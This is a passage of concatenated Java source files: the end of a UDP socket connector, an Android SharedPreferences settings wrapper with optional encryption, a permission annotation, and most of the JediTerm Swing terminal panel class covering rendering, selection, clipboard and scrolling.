public void close()
{
checkClosed();
DatagramSocket temp = sock;
sock = null;
connected.set(false);
temp.close();
}
/**
* This always returns false since the simple DatagramSocket usage
* cannot be run in a non-blocking way.
*/
public boolean available()
{
// It would take a separate thread or an NIO Selector based implementation to get this
// to work. If a polling strategy is never employed by callers then it doesn't
// seem worth it to implement all of that just for this method.
checkClosed();
return false;
}
public ByteBuffer read()
{
checkClosed();
try {
DatagramPacket packet = new DatagramPacket( buffer, buffer.length );
sock.receive(packet);
// Wrap it in a ByteBuffer for the caller
return ByteBuffer.wrap( buffer, 0, packet.getLength() );
} catch( IOException e ) {
if( !connected.get() ) {
// Nothing to see here... just move along
return null;
}
throw new ConnectorException( "Error reading from connection to:" + remoteAddress, e );
}
}
public void write( ByteBuffer data )
{
checkClosed();
try {
DatagramPacket p = new DatagramPacket( data.array(), data.position(), data.remaining(),
remoteAddress );
sock.send(p);
} catch( IOException e ) {
throw new ConnectorException( "Error writing to connection:" + remoteAddress, e );
}
}
}
|
package com.lib.spref;
import android.content.Context;
import android.content.SharedPreferences;
import android.text.TextUtils;
import android.util.Base64;
import com.google.gson.Gson;
import com.google.gson.reflect.TypeToken;
import com.lib.spref.Utils.EncryptionUtils;
import com.lib.spref.Utils.MergeUtils;
import com.lib.spref.Utils.Utils;
import java.io.File;
import java.lang.reflect.Type;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
/**
* @author lpereira on 28/10/2015.
*/
@SuppressWarnings("unused")
public class SettingsConnector {
private static final String SHARED_PREF_NAME = "sp_settings";
private final SharedPreferences mPreferences;
private final byte[] mEncrypt;
/**
* Settings controller constructor method
*
* @param context application context
* @param resource the default file resource
* @param preferencesName the name of the shared preferences
* @param encrypt if all settings should be encrypted
* @param shouldOverride if the user wants to override the existent values with the same value keys found
* @param mode mode which the shared preferences should be
*/
public SettingsConnector(Context context, int resource, String preferencesName, byte[] encrypt, boolean shouldOverride, int mode) {
mPreferences =
context.getSharedPreferences(TextUtils.isEmpty(preferencesName) ? SHARED_PREF_NAME : preferencesName, mode == Utils.INVALID_ID ? Context.MODE_PRIVATE : mode);
mEncrypt = encrypt;
if (resource != Utils.INVALID_ID) {
MergeUtils.merge(context, resource, mPreferences, shouldOverride);
}
}
/**
* Retrieve string setting according to the settingKey
*
* @param settingKey key
* @return setting value
* @since SDK 0.1.0
*/
public String getSetting(String settingKey) {
if (settingKey == null) {
return null;
}
return mPreferences.getString(settingKey, null);
}
/**
* Retrieve string setting according to the settingKey
*
* @param settingKey key
* @param defaultValue default value
* @return setting value
* @since SDK 0.5.5
*/
public String getSetting(String settingKey, String defaultValue) {
if (settingKey == null) {
return null;
}
return mPreferences.getString(settingKey, defaultValue);
}
/**
* Retrieve string setting according to the settingKey
*
* @param settingKey key
* @return setting value or null if there was any problem trying to decrypt the value
* @since SDK 0.4.2
*/
public String getEncryptedSetting(String settingKey) {
String value = mPreferences.getString(settingKey, null);
if (mEncrypt != null && !TextUtils.isEmpty(value)) {
byte[] array = Base64.decode(value, Base64.NO_WRAP);
return EncryptionUtils.decrypt(mEncrypt, array);
}
return null;
}
/**
* Retrieve string setting according to the settingKey
*
* @param settingKey key
* @return setting value (return -1 if not found)
* @since SDK 0.4.2
*/
public int getIntSetting(String settingKey) {
if (settingKey == null) {
return Utils.INVALID_ID;
}
return mPreferences.getInt(settingKey, Utils.INVALID_ID);
}
/**
* Retrieve string setting according to the settingKey
*
* @param settingKey key
* @return setting value (return -1 if not found)
* @since SDK 0.2.2
*/
public float getFloatSetting(String settingKey) {
if (settingKey == null) {
return Utils.INVALID_FLOAT_ID;
}
return mPreferences.getFloat(settingKey, Utils.INVALID_FLOAT_ID);
}
/**
* Retrieve string setting according to the settingKey
*
* @param settingKey key
* @return setting value (return -1 if not found)
* @since SDK 0.4.1
*/
public long getLongSetting(String settingKey) {
if (settingKey == null) {
return Utils.INVALID_LONG_ID;
}
return mPreferences.getLong(settingKey, Utils.INVALID_LONG_ID);
}
/**
* Retrieve string setting according to the settingKey
*
* @param settingKey key
* @param defaultValue default value
* @return setting value (return -1 if not found)
* @since SDK 0.1.0
*/
public boolean getBooleanSetting(String settingKey, boolean defaultValue) {
if (settingKey == null) {
return defaultValue;
}
return mPreferences.getBoolean(settingKey, defaultValue);
}
/**
* Retrieve list of settings according to the settingKey
*
* @param settingKey key
* @param <T> generic type
* @return setting value (return -1 if not found)
* @since SDK 0.1.1
*/
public <T> List<T> getListSetting(String settingKey) {
Gson gson = new Gson();
Type listType = new TypeToken<ArrayList<T>>() {}.getType();
return gson.fromJson(getSetting(settingKey), listType);
}
/**
* Save a string setting value according to the settingKey
*
* @param settingKey key
* @param settingValue value
* @since SDK 0.1.0
*/
public void saveSetting(String settingKey, String settingValue) {
mPreferences.edit().putString(settingKey, settingValue).apply();
}
/**
* Save a string setting value according to the settingKey
*
* @param settingKey key
* @param settingValue value
* @since SDK 0.5.4
*/
public void saveNonNullSetting(String settingKey, String settingValue) {
if (settingValue != null) {
saveSetting(settingKey, settingValue);
}
}
/**
* Encrypts a string and saves it on shared preferences (If there was an error or encryption key was not provided it will save null)
*
* @param settingKey key
* @param settingValue value
* @since SDK 0.4.2
*/
public void saveEncryptedSetting(String settingKey, String settingValue) {
if (mEncrypt != null && settingValue != null) {
byte[] resultValue = EncryptionUtils.encrypt(mEncrypt, settingValue);
settingValue = Base64.encodeToString(resultValue, Base64.NO_WRAP);
} else {
settingValue = null;
}
mPreferences.edit().putString(settingKey, settingValue).apply();
}
/**
* Save a boolean setting value according to the settingKey
*
* @param settingKey key
* @param settingValue value
* @since SDK 0.1.0
*/
public void saveSetting(String settingKey, boolean settingValue) {
mPreferences.edit().putBoolean(settingKey, settingValue).apply();
}
/**
* Save a string setting value according to the settingKey
*
* @param settingKey key
* @param settingValue value
* @since SDK 0.1.0
*/
public void saveSetting(String settingKey, Integer settingValue) {
if (settingValue == null) {
mPreferences.edit().putString(settingKey, null).apply();
} else {
mPreferences.edit().putInt(settingKey, settingValue).apply();
}
}
/**
* Save a string setting value according to the settingKey
*
* @param settingKey key
* @param settingValue value
* @since SDK 0.5.4
*/
public void saveNonNullSetting(String settingKey, Integer settingValue) {
if (settingValue != null) {
saveSetting(settingKey, settingValue);
}
}
/**
* Save a string setting value according to the settingKey
*
* @param settingKey key
* @param settingValue value
* @since SDK 0.1.0
*/
public void saveSetting(String settingKey, Long settingValue) {
if (settingValue == null) {
mPreferences.edit().putString(settingKey, null).apply();
} else {
mPreferences.edit().putLong(settingKey, settingValue).apply();
}
}
/**
* Save a string setting value according to the settingKey
*
* @param settingKey key
* @param settingValue value
* @since SDK 0.5.4
*/
public void saveNonNullSetting(String settingKey, Long settingValue) {
if (settingValue != null) {
saveSetting(settingKey, settingValue);
}
}
/**
* Save a string setting value according to the settingKey
*
* @param settingKey key
* @param settingValue value
* @since SDK 0.4.1
*/
public void saveSetting(String settingKey, Float settingValue) {
if (settingValue == null) {
mPreferences.edit().putString(settingKey, null).apply();
} else {
mPreferences.edit().putFloat(settingKey, settingValue).apply();
}
}
/**
* Save a string setting value according to the settingKey
*
* @param settingKey key
* @param settingValue value
* @since SDK 0.5.4
*/
public void saveNonNullSetting(String settingKey, Float settingValue) {
if (settingValue != null) {
saveSetting(settingKey, settingValue);
}
}
/**
* Save a list of generic values according to the settingKey
*
* @param settingKey key
* @param settingValue values (may be null)
* @param <T> generic type
* @since SDK 0.1.1
*/
public <T> void saveSetting(String settingKey, List<T> settingValue) {
Gson gson = new Gson();
saveSetting(settingKey, gson.toJson(settingValue));
}
/**
* Save a set of settings value according to the settingKey
*
* @param settingKey key
* @param settingValue values (may be null)
* @since SDK 0.3.0
*/
public void saveSetting(String settingKey, Set<String> settingValue) {
mPreferences.edit().putStringSet(settingKey, settingValue).apply();
}
/**
* This removes a setting
*
* @param settingKey the setting key
* @since SDK 0.1.0
*/
public void removeSetting(String settingKey) {
if (settingKey != null) {
mPreferences.edit().remove(settingKey).apply();
}
}
/**
* This removes a setting
*
* @param settingKey the setting key
* @since SDK 0.1.0
*/
public void removeBulkSetting(String... settingKey) {
if (settingKey != null) {
for (String aSettingKey : settingKey) {
removeSetting(aSettingKey);
}
}
}
/**
* This will merge an xml file
*
* @param file xml file
* @param shouldOverride if the user wants to override the existent values with the same value keys found
* @since SDK 0.4.2
*/
public void mergeSettings(File file, boolean shouldOverride) {
if (file != null && file.exists()) {
MergeUtils.merge(file, mPreferences, shouldOverride);
}
}
/**
* This will merge an xml file
*
* @param json xml file
* @param shouldOverride if the user wants to override the existent values with the same value keys found
* @since SDK 0.6.0
*/
public void mergeJsonSettings(String json, boolean shouldOverride) {
if (!TextUtils.isEmpty(json)) {
MergeUtils.mergeJson(json, mPreferences, shouldOverride);
}
}
/**
* This removes a setting
*
* @since SDK 0.1.0
*/
public void removeAllSetting() {
mPreferences.edit().clear().apply();
}
}
|
package mytown.core.utils.command;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface Permission {
String value();
}
|
package com.jediterm.terminal.ui;
import com.jediterm.terminal.*;
import com.jediterm.terminal.display.*;
import com.jediterm.terminal.emulator.mouse.TerminalMouseListener;
import com.jediterm.terminal.util.Pair;
import org.apache.log4j.Logger;
import org.jetbrains.annotations.NotNull;
import javax.swing.*;
import javax.swing.event.ChangeEvent;
import javax.swing.event.ChangeListener;
import java.awt.*;
import java.awt.datatransfer.*;
import java.awt.event.*;
import java.awt.image.BufferedImage;
import java.io.IOException;
public class TerminalPanel extends JComponent implements TerminalDisplay, ClipboardOwner, StyledTextConsumer {
private static final Logger LOG = Logger.getLogger(TerminalPanel.class);
private static final long serialVersionUID = -1048763516632093014L;
private static final double FPS = 50;
public static final double SCROLL_SPEED = 0.05;
private BufferedImage myImage;
private BufferedImage myImageForSelection;
protected Graphics2D myGfx;
private Graphics2D myGfxForSelection;
private final Component myTerminalPanel = this;
private Font myNormalFont;
private Font myBoldFont;
private int myDescent = 0;
private float myLineSpace = 0;
protected Dimension myCharSize = new Dimension();
protected Dimension myTermSize = new Dimension(80, 24);
private boolean myAntialiasing = true;
private TerminalStarter myTerminalStarter = null;
private TerminalSelection mySelection = null;
private TextStyle mySelectionColor = new TextStyle(Color.WHITE, new Color(82, 109, 165));
private Clipboard myClipboard;
private TerminalPanelListener myTerminalPanelListener;
private SystemSettingsProvider mySettingsProvider;
final private BackBuffer myBackBuffer;
final private StyleState myStyleState;
final private TerminalCursor myCursor = new TerminalCursor();
private final BoundedRangeModel myBoundedRangeModel = new DefaultBoundedRangeModel(0, 80, 0, 80);
protected int myClientScrollOrigin;
protected int newClientScrollOrigin;
private KeyListener myKeyListener;
private long myLastCursorChange;
private boolean myCursorIsShown;
private long myLastResize;
private boolean myScrollingEnabled = true;
private String myWindowTitle = "Terminal";
private static final int SCALE = UIUtil.isRetina() ? 2 : 1;
public TerminalPanel(@NotNull SystemSettingsProvider settingsProvider, @NotNull BackBuffer backBuffer, @NotNull StyleState styleState) {
mySettingsProvider = settingsProvider;
myBackBuffer = backBuffer;
myStyleState = styleState;
myTermSize.width = backBuffer.getWidth();
myTermSize.height = backBuffer.getHeight();
updateScrolling();
}
public void init() {
myNormalFont = createFont();
myBoldFont = myNormalFont.deriveFont(Font.BOLD);
establishFontMetrics();
setupImages();
setUpClipboard();
setPreferredSize(new Dimension(getPixelWidth(), getPixelHeight()));
setFocusable(true);
enableInputMethods(true);
setFocusTraversalKeysEnabled(false);
addMouseMotionListener(new MouseMotionAdapter() {
@Override
public void mouseDragged(final MouseEvent e) {
final Point charCoords = panelToCharCoords(e.getPoint());
if (mySelection == null) {
mySelection = new TerminalSelection(new Point(charCoords));
}
repaint();
mySelection.updateEnd(charCoords, myTermSize.width);
if (e.getPoint().y < 0) {
moveScrollBar((int)((e.getPoint().y) * SCROLL_SPEED));
}
if (e.getPoint().y > getPixelHeight()) {
moveScrollBar((int)((e.getPoint().y - getPixelHeight()) * SCROLL_SPEED));
}
}
});
addMouseWheelListener(new MouseWheelListener() {
@Override
public void mouseWheelMoved(MouseWheelEvent e) {
int notches = e.getWheelRotation();
moveScrollBar(notches);
}
});
addMouseListener(new MouseAdapter() {
@Override
public void mouseReleased(final MouseEvent e) {
requestFocusInWindow();
repaint();
}
@Override
public void mouseClicked(final MouseEvent e) {
requestFocusInWindow();
if (e.getButton() == MouseEvent.BUTTON3) {
JPopupMenu popup = createPopupMenu(mySelection, getClipboardString());
popup.show(e.getComponent(), e.getX(), e.getY());
}
else {
mySelection = null;
}
repaint();
}
});
addComponentListener(new ComponentAdapter() {
@Override
public void componentResized(final ComponentEvent e) {
myLastResize = System.currentTimeMillis();
sizeTerminalFromComponent();
}
});
myBoundedRangeModel.addChangeListener(new ChangeListener() {
public void stateChanged(final ChangeEvent e) {
newClientScrollOrigin = myBoundedRangeModel.getValue();
}
});
Timer redrawTimer = new Timer((int)(1000 / FPS), new ActionListener() {
public void actionPerformed(ActionEvent e) {
redraw();
}
});
setDoubleBuffered(true);
redrawTimer.start();
repaint();
}
private void moveScrollBar(int k) {
myBoundedRangeModel.setValue(myBoundedRangeModel.getValue() + k);
}
protected Font createFont() {
return Font.decode("Monospaced-14");
}
private Point panelToCharCoords(final Point p) {
return new Point(p.x / myCharSize.width, p.y / myCharSize.height + myClientScrollOrigin);
}
void setUpClipboard() {
myClipboard = Toolkit.getDefaultToolkit().getSystemSelection();
if (myClipboard == null) {
myClipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
}
}
private void copySelection(final Point selectionStart, final Point selectionEnd) {
if (selectionStart == null || selectionEnd == null) {
return;
}
final String selectionText = SelectionUtil
.getSelectionText(selectionStart, selectionEnd, myBackBuffer);
if (selectionText.length() != 0) {
try {
setCopyContents(new StringSelection(selectionText));
}
catch (final IllegalStateException e) {
LOG.error("Could not set clipboard:", e);
}
}
}
protected void setCopyContents(StringSelection selection) {
myClipboard.setContents(selection, this);
}
private void pasteSelection() {
final String selection = getClipboardString();
try {
myTerminalStarter.sendString(selection);
}
catch (RuntimeException e) {
LOG.info(e);
}
}
private String getClipboardString() {
try {
return getClipboardContent();
}
catch (final Exception e) {
LOG.info(e);
}
return null;
}
protected String getClipboardContent() throws IOException, UnsupportedFlavorException {
try {
return (String)myClipboard.getData(DataFlavor.stringFlavor);
}
catch (Exception e) {
LOG.info(e);
return null;
}
}
/* Do not care
*/
public void lostOwnership(final Clipboard clipboard, final Transferable contents) {
}
private void setupImages() {
final BufferedImage oldImage = myImage;
int width = getPixelWidth();
int height = getPixelHeight();
if (width > 0 && height > 0) {
Pair<BufferedImage, Graphics2D> imageAndGfx = createAndInitImage(width, height);
myImage = imageAndGfx.first;
myGfx = imageAndGfx.second;
imageAndGfx = createAndInitImage(width, height);
myImageForSelection = imageAndGfx.first;
myGfxForSelection = imageAndGfx.second;
if (oldImage != null) {
myGfx.drawImage(oldImage, 0, 0,
oldImage.getWidth(), oldImage.getHeight(), myTerminalPanel);
}
}
}
private Pair<BufferedImage, Graphics2D> createAndInitImage(int width, int height) {
BufferedImage image = createBufferedImage(width, height);
Graphics2D gfx = image.createGraphics();
setupAntialiasing(gfx, myAntialiasing);
gfx.setColor(getBackground());
gfx.fillRect(0, 0, width, height);
return Pair.create(image, gfx);
}
protected BufferedImage createBufferedImage(int width, int height) {
return new BufferedImage(width, height,
BufferedImage.TYPE_INT_RGB);
}
private void sizeTerminalFromComponent() {
if (myTerminalStarter != null) {
final int newWidth = getWidth() / myCharSize.width;
final int newHeight = getHeight() / myCharSize.height;
if (newHeight > 0 && newWidth > 0) {
final Dimension newSize = new Dimension(newWidth, newHeight);
myTerminalStarter.postResize(newSize, RequestOrigin.User);
}
}
}
public void setTerminalStarter(final TerminalStarter terminalStarter) {
myTerminalStarter = terminalStarter;
sizeTerminalFromComponent();
}
public void setKeyListener(final KeyListener keyListener) {
this.myKeyListener = keyListener;
}
public Dimension requestResize(final Dimension newSize,
final RequestOrigin origin,
int cursorY,
JediTerminal.ResizeHandler resizeHandler) {
if (!newSize.equals(myTermSize)) {
myBackBuffer.lock();
try {
myBackBuffer.resize(newSize, origin, cursorY, resizeHandler);
myTermSize = (Dimension)newSize.clone();
// resize images..
setupImages();
final Dimension pixelDimension = new Dimension(getPixelWidth(), getPixelHeight());
setPreferredSize(pixelDimension);
if (myTerminalPanelListener != null) myTerminalPanelListener.onPanelResize(pixelDimension, origin);
SwingUtilities.invokeLater(new Runnable() {
@Override
public void run() {
updateScrolling();
}
});
}
finally {
myBackBuffer.unlock();
}
}
return new Dimension(getPixelWidth(), getPixelHeight());
}
public void setTerminalPanelListener(final TerminalPanelListener resizeDelegate) {
myTerminalPanelListener = resizeDelegate;
}
private void establishFontMetrics() {
final BufferedImage img = createBufferedImage(1, 1);
final Graphics2D graphics = img.createGraphics();
graphics.setFont(myNormalFont);
final FontMetrics fo = graphics.getFontMetrics();
myDescent = fo.getDescent();
myCharSize.width = fo.charWidth('@');
myCharSize.height = fo.getHeight() + (int)(myLineSpace * 2);
myDescent += myLineSpace;
img.flush();
graphics.dispose();
}
protected void setupAntialiasing(Graphics graphics, boolean antialiasing) {
myAntialiasing = antialiasing;
if (graphics instanceof Graphics2D) {
Graphics2D myGfx = (Graphics2D)graphics;
final Object mode = antialiasing ? RenderingHints.VALUE_TEXT_ANTIALIAS_ON
: RenderingHints.VALUE_TEXT_ANTIALIAS_OFF;
final RenderingHints hints = new RenderingHints(
RenderingHints.KEY_TEXT_ANTIALIASING, mode);
myGfx.setRenderingHints(hints);
}
}
@Override
public Color getBackground() {
return myStyleState.getCurrent().getDefaultBackground();
}
@Override
public Color getForeground() {
return myStyleState.getCurrent().getDefaultForeground();
}
@Override
public void paintComponent(final Graphics g) {
Graphics2D gfx = (Graphics2D)g;
if (myImage != null) {
gfx.drawImage(myImage, 0, 0, myTerminalPanel);
drawMargins(gfx, myImage.getWidth(), myImage.getHeight());
drawSelection(myImageForSelection, gfx);
myCursor.drawCursor(gfx);
}
}
@Override
public void processKeyEvent(final KeyEvent e) {
final int id = e.getID();
if (id == KeyEvent.KEY_PRESSED) {
myKeyListener.keyPressed(e);
}
else if (id == KeyEvent.KEY_RELEASED) {
/* keyReleased(e); */
}
else if (id == KeyEvent.KEY_TYPED) {
myKeyListener.keyTyped(e);
}
e.consume();
}
public int getPixelWidth() {
return myCharSize.width * myTermSize.width;
}
public int getPixelHeight() {
return myCharSize.height * myTermSize.height;
}
public int getColumnCount() {
return myTermSize.width;
}
public int getRowCount() {
return myTermSize.height;
}
public String getWindowTitle() {
return myWindowTitle;
}
public void addTerminalMouseListener(final TerminalMouseListener listener) {
addMouseListener(new MouseAdapter() {
@Override
public void mousePressed(MouseEvent e) {
Point p = panelToCharCoords(e.getPoint());
listener.mousePressed(p.x, p.y, e);
}
@Override
public void mouseReleased(MouseEvent e) {
Point p = panelToCharCoords(e.getPoint());
listener.mouseReleased(p.x, p.y, e);
}
});
}
protected void initKeyHandler() {
setKeyListener(new TerminalKeyHandler(myTerminalStarter, mySettingsProvider));
}
public class TerminalCursor {
private static final long CURSOR_BLINK_PERIOD = 505;
private boolean myCursorHasChanged;
protected Point myCursorCoordinates = new Point();
private boolean myShouldDrawCursor = true;
private boolean myBlinking = true;
private boolean calculateIsCursorShown(long currentTime) {
if (myCursorHasChanged) {
return true;
}
if (cursorShouldChangeBlinkState(currentTime)) {
return !myCursorIsShown;
}
else {
return myCursorIsShown;
}
}
private boolean cursorShouldChangeBlinkState(long currentTime) {
return myBlinking && (currentTime - myLastCursorChange > CURSOR_BLINK_PERIOD);
}
public void drawCursor(Graphics2D g) {
if (needsRepaint()) {
final int y = getCoordY();
if (y >= 0 && y < myTermSize.height) {
TextStyle current = myStyleState.getCurrent();
boolean isCursorShown = calculateIsCursorShown(System.currentTimeMillis());
g.setXORMode(current.getBackground());
if (isCursorShown) {
g.setColor(current.getForeground());
}
else {
g.setColor(current.getBackground());
}
g.fillRect(myCursorCoordinates.x * myCharSize.width * SCALE, y * myCharSize.height * SCALE,
myCharSize.width * SCALE, myCharSize.height * SCALE);
myCursorIsShown = isCursorShown;
myLastCursorChange = System.currentTimeMillis();
myCursorHasChanged = false;
}
}
}
public boolean needsRepaint() {
long currentTime = System.currentTimeMillis();
return isShouldDrawCursor() &&
isFocusOwner() &&
noRecentResize(currentTime) &&
(myCursorHasChanged || cursorShouldChangeBlinkState(currentTime));
}
public void setX(int x) {
myCursorCoordinates.x = x;
myCursorHasChanged = true;
}
public void setY(int y) {
myCursorCoordinates.y = y;
myCursorHasChanged = true;
}
public int getCoordX() {
return myCursorCoordinates.x;
}
public int getCoordY() {
return myCursorCoordinates.y - 1 - myClientScrollOrigin;
}
public void setShouldDrawCursor(boolean shouldDrawCursor) {
myShouldDrawCursor = shouldDrawCursor;
}
public boolean isShouldDrawCursor() {
return myShouldDrawCursor;
}
private boolean noRecentResize(long time) {
return time - myLastResize > CURSOR_BLINK_PERIOD;
}
public void setBlinking(boolean blinking) {
myBlinking = blinking;
}
public boolean isBlinking() {
return myBlinking;
}
}
public void drawSelection(BufferedImage imageForSelection, Graphics2D g) {
/* which is the top one */
Point top;
Point bottom;
if (mySelection == null) {
return;
}
Point start = mySelection.getStart();
Point end = mySelection.getEnd();
if (start.y == end.y) {
/* same line */
if (start.x == end.x) {
return;
}
top = start.x < end.x ? start : end;
bottom = start.x >= end.x ? start : end;
copyImage(g, imageForSelection, top.x * myCharSize.width, (top.y - myClientScrollOrigin) * myCharSize.height,
(bottom.x - top.x) * myCharSize.width, myCharSize.height);
}
else {
top = start.y < end.y ? start : end;
bottom = start.y > end.y ? start : end;
/* to end of first line */
copyImage(g, imageForSelection, top.x * myCharSize.width, (top.y - myClientScrollOrigin) * myCharSize.height,
(myTermSize.width - top.x) * myCharSize.width, myCharSize.height);
if (bottom.y - top.y > 1) {
/* intermediate lines */
copyImage(g, imageForSelection, 0, (top.y + 1 - myClientScrollOrigin) * myCharSize.height,
myTermSize.width * myCharSize.width, (bottom.y - top.y - 1)
* myCharSize.height);
}
/* from beginning of last line */
copyImage(g, imageForSelection, 0, (bottom.y - myClientScrollOrigin) * myCharSize.height, bottom.x
* myCharSize.width, myCharSize.height);
}
}
private void copyImage(Graphics2D g, BufferedImage image, int x, int y, int width, int height) {
g.drawImage(image, x, y, x + width, y + height, x, y, x + width, y + height, null);
}
@Override
public void consume(int x, int y, @NotNull TextStyle style, @NotNull CharBuffer buf, int startRow) {
if (myGfx != null) {
drawCharacters(x, y, style, buf, myGfx);
}
if (myGfxForSelection != null) {
TextStyle selectionStyle = style.clone();
selectionStyle.setBackground(mySelectionColor.getBackground());
selectionStyle.setForeground(mySelectionColor.getForeground());
drawCharacters(x, y, selectionStyle, buf, myGfxForSelection);
}
}
private void drawCharacters(int x, int y, TextStyle style, CharBuffer buf, Graphics2D gfx) {
gfx.setColor(myStyleState.getBackground(style.getBackgroundForRun()));
gfx
.fillRect(x * myCharSize.width, (y - myClientScrollOrigin) * myCharSize.height, buf.getLength() * myCharSize.width,
myCharSize.height);
gfx.setFont(style.hasOption(TextStyle.Option.BOLD) ? myBoldFont : myNormalFont);
gfx.setColor(myStyleState.getForeground(style.getForegroundForRun()));
int baseLine = (y + 1 - myClientScrollOrigin) * myCharSize.height - myDescent;
gfx.drawChars(buf.getBuf(), buf.getStart(), buf.getLength(), x * myCharSize.width, baseLine);
if (style.hasOption(TextStyle.Option.UNDERLINED)) {
gfx.drawLine(x * myCharSize.width, baseLine + 1, (x + buf.getLength()) * myCharSize.width, baseLine + 1);
}
}
private void clientScrollOriginChanged(int oldOrigin) {
int dy = myClientScrollOrigin - oldOrigin;
int dyPix = dy * myCharSize.height;
copyAndClearAreaOnScroll(dy, dyPix, myGfx);
copyAndClearAreaOnScroll(dy, dyPix, myGfxForSelection);
if (dy < 0) {
// Scrolling up; Copied down
// New area at the top to be filled in - can only be from scroll buffer
myBackBuffer.getScrollBuffer().processLines(myClientScrollOrigin, -dy, this);
}
else {
// Scrolling down; Copied up
// New area at the bottom to be filled - can be from both
int oldEnd = oldOrigin + myTermSize.height;
// Either its the whole amount above the back buffer + some more
// Or its the whole amount we moved
// Or we are already out of the scroll buffer
int portionInScroll = oldEnd < 0 ? Math.min(-oldEnd, dy) : 0;
int portionInBackBuffer = dy - portionInScroll;
if (portionInScroll > 0) {
myBackBuffer.getScrollBuffer().processLines(oldEnd, portionInScroll, this);
}
if (portionInBackBuffer > 0) {
myBackBuffer.processBufferRows(oldEnd + portionInScroll, portionInBackBuffer, this);
}
}
}
private void copyAndClearAreaOnScroll(int dy, int dyPix, Graphics2D gfx) {
gfx.copyArea(0, Math.max(0, dyPix),
getPixelWidth(), getPixelHeight() - Math.abs(dyPix),
0, -dyPix);
if (dy < 0) {
//clear rect before drawing scroll buffer on it
gfx.setColor(getBackground());
gfx.fillRect(0, Math.max(0, dyPix), getPixelWidth(), Math.abs(dyPix));
}
}
int myNoDamage = 0;
int myFramesSkipped = 0;
public void redraw() {
if (tryRedrawDamagedPartFromBuffer() || myCursor.needsRepaint()) {
repaint();
}
}
/**
* This method tries to get a lock for back buffer. If it fails it increments skippedFrames counter and tries next time.
* After 5 attempts it locks buffer anyway.
*
* @return true if was successfully redrawn and there is anything to repaint
*/
private boolean tryRedrawDamagedPartFromBuffer() {
final int newOrigin = newClientScrollOrigin;
if (!myBackBuffer.tryLock()) {
if (myFramesSkipped >= 5) {
myBackBuffer.lock();
}
else {
myFramesSkipped++;
return false;
}
}
try {
myFramesSkipped = 0;
boolean serverScroll = pendingScrolls.enact(myGfx, getPixelWidth(), myCharSize.height);
boolean clientScroll = myClientScrollOrigin != newOrigin;
if (clientScroll) {
final int oldOrigin = myClientScrollOrigin;
myClientScrollOrigin = newOrigin;
clientScrollOriginChanged(oldOrigin);
}
boolean hasDamage = myBackBuffer.hasDamage();
if (hasDamage) {
myNoDamage = 0;
myBackBuffer.processDamagedCells(this);
myBackBuffer.resetDamage();
}
else {
myNoDamage++;
}
return serverScroll || clientScroll || hasDamage;
}
finally {
myBackBuffer.unlock();
}
}
private void drawMargins(Graphics2D gfx, int width, int height) {
gfx.setColor(getBackground());
gfx.fillRect(0, height, getWidth(), getHeight() - height);
gfx.fillRect(width, 0, getWidth() - width, getHeight());
}
public void scrollArea(final int y, final int h, int dy) {
if (dy < 0) {
//Moving lines off the top of the screen
//TODO: Something to do with application keypad mode
//TODO: Something to do with the scroll margins
SwingUtilities.invokeLater(new Runnable() {
@Override
public void run() {
updateScrolling();
}
});
}
mySelection = null;
pendingScrolls.add(y, h, dy);
}
private void updateScrolling() {
if (myScrollingEnabled) {
myBoundedRangeModel
.setRangeProperties(0, myTermSize.height, -myBackBuffer.getScrollBuffer().getLineCount(), myTermSize.height, false);
}
else {
myBoundedRangeModel.setRangeProperties(0, myTermSize.height, 0, myTermSize.height, false);
}
}
private static class PendingScrolls {
int[] ys = new int[10];
int[] hs = new int[10];
int[] dys = new int[10];
int scrollCount = -1;
void ensureArrays(int index) {
int curLen = ys.length;
if (index >= curLen) {
ys = Util.copyOf(ys, curLen * 2);
hs = Util.copyOf(hs, curLen * 2);
dys = Util.copyOf(dys, curLen * 2);
}
}
void add(int y, int h, int dy) {
if (dy == 0) return;
if (scrollCount >= 0 &&
y == ys[scrollCount] &&
h == hs[scrollCount]) {
dys[scrollCount] += dy;
}
else {
scrollCount++;
ensureArrays(scrollCount);
ys[scrollCount] = y;
hs[scrollCount] = h;
dys[scrollCount] = dy;
}
}
boolean enact(Graphics2D gfx, int width, int charHeight) {
if (scrollCount < 0) return false;
for (int i = 0; i <= scrollCount; i++) {
gfx.copyArea(0, ys[i] * charHeight, width, hs[i] * charHeight, 0, dys[i] * charHeight);
}
scrollCount = -1;
return true;
}
}
final PendingScrolls pendingScrolls = new PendingScrolls();
public void setCursor(final int x, final int y) {
myCursor.setX(x);
myCursor.setY(y);
}
public void beep() {
Toolkit.getDefaultToolkit().beep();
}
public void setLineSpace(final float foo) {
myLineSpace = foo;
}
public BoundedRangeModel getBoundedRangeModel() {
return myBoundedRangeModel;
}
public BackBuffer getBackBuffer() {
return myBackBuffer;
}
public LinesBuffer getScrollBuffer() {
return myBackBuffer.getScrollBuffer();
}
public void lock() {
myBackBuffer.lock();
}
public void unlock() {
myBackBuffer.unlock();
}
@Override
public void setCursorVisible(boolean shouldDrawCursor) {
myCursor.setShouldDrawCursor(shouldDrawCursor);
}
protected JPopupMenu createPopupMenu(final TerminalSelection selection, String content) {
JPopupMenu popup = new JPopupMenu();
JMenuItem newSession = new JMenuItem(mySettingsProvider.getNewSessionAction());
if (mySettingsProvider.getNewSessionKeyStrokes().length > 0) {
newSession.setAccelerator(mySettingsProvider.getNewSessionKeyStrokes()[0]);
}
popup.add(newSession);
popup.addSeparator();
ActionListener popupListener = new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
if ("Copy".equals(e.getActionCommand())) {
copySelection(selection.getStart(), selection.getEnd());
}
else if ("Paste".equals(e.getActionCommand())) {
pasteSelection();
}
}
};
JMenuItem menuItem = new JMenuItem("Copy");
menuItem.setMnemonic(KeyEvent.VK_C);
if (mySettingsProvider.getCopyKeyStrokes().length > 0) {
menuItem.setAccelerator(mySettingsProvider.getCopyKeyStrokes()[0]);
}
menuItem.addActionListener(popupListener);
menuItem.setEnabled(selection != null);
popup.add(menuItem);
menuItem = new JMenuItem("Paste");
if (mySettingsProvider.getPasteKeyStrokes().length > 0) {
menuItem.setAccelerator(mySettingsProvider.getPasteKeyStrokes()[0]);
}
menuItem.setMnemonic(KeyEvent.VK_P);
menuItem.setEnabled(content != null);
menuItem.addActionListener(popupListener);
popup.add(menuItem);
return popup;
}
